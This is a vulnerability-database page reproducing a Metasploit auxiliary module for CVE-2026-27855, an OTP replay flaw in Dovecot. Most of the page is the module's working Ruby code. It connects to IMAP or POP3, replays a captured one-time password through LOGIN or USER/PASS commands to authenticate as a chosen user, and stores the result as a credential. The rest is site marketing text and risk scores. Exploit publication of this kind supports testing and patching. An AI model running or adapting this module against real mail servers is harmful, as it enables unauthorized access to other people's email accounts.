Lucene search
+L

📄 Dovecot OTP Replay Attack

🗓️ 22 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 127 Views

Dovecot OTP can be replayed when auth cache is on and username handling is improper.

Related
Code
==================================================================================================================================
    | # Title     : Dovecot OTP Replay Attack Metasploit Module                                                                      |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.dovecotpro.com/                                                                                      |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module targets a vulnerability in Dovecot’s OTP (One-Time Password) authentication system that allows potential replay attacks when authentication 
                     caching is enabled and username handling is improperly managed.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Auxiliary::Report
      include Msf::Exploit::Remote::Tcp
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Dovecot OTP Replay Attack',
            'Description' => %q{
              Dovecot OTP authentication is vulnerable to replay attacks when auth cache is
              enabled and username is altered in passdb.
            },
            'Author' => [
              'indoushka'
            ],
            'References' => [
              ['CVE', '2026-27855']
            ],
            'License' => MSF_LICENSE,
            'DisclosureDate' => '2026-03-27'
          )
        )
    
        register_options([
          Opt::RPORT(143),
          OptString.new('USERNAME', [true, 'Target username', '']),
          OptString.new('OTP_TOKEN', [true, 'Observed OTP token to replay', '']),
          OptString.new('SEQUENCE_NUMBER', [true, 'OTP sequence number', '1']),
          OptEnum.new('PROTOCOL', [true, 'Protocol', 'IMAP', ['IMAP', 'POP3']])
        ])
      end
    
      def run_host(ip)
        print_status("Dovecot OTP Replay Attack (CVE-2026-27855)")
        print_status("Target: #{ip}:#{rport}")
    
        username = datastore['USERNAME']
        otp_token = datastore['OTP_TOKEN']
        sequence = datastore['SEQUENCE_NUMBER']
    
        otp_password = "#{sequence} #{otp_token}"
    
        print_status("Replaying OTP token for user #{username}")
    
        if attempt_otp_replay(username, otp_password)
          print_good("OTP replay successful! Authenticated as #{username}")
          report_success(username, otp_token)
        else
          print_error("OTP replay failed")
        end
      end
    
      def attempt_otp_replay(username, otp_password)
        sock = nil
    
        begin
          sock = connect
    
          banner = sock.get_once
          vprint_status("Banner: #{banner}")
    
          if datastore['PROTOCOL'] == 'IMAP'
            sock.put("a1 LOGIN \"#{username}\" \"#{otp_password}\"\r\n")
            response = sock.get_once
            vprint_status("Response: #{response}")
    
            return true if response && response.to_s.include?('OK')
    
          else
            sock.put("USER #{username}\r\n")
            response = sock.get_once
    
            if response && response.to_s.include?('+OK')
              sock.put("PASS #{otp_password}\r\n")
              final = sock.get_once
              return true if final && final.to_s.include?('+OK')
            end
          end
    
        rescue ::Exception => e
          vprint_error("Error: #{e.message}")
        ensure
          disconnect(sock) if sock
        end
    
        false
      end
    
      def report_success(username, otp_token)
        service_data = {
          address: rhost,
          port: rport,
          service_name: datastore['PROTOCOL'].downcase,
          protocol: 'tcp',
          workspace_id: myworkspace_id
        }
    
        credential_data = {
          origin_type: :service,
          module_fullname: fullname,
          username: username,
          private_data: "OTP Replay - Token: #{otp_token}",
          private_type: :password
        }.merge(service_data)
    
        create_credential(credential_data)
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Apr 2026 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 3.15.9 - 6.8
EPSS0.00311
SSVC
127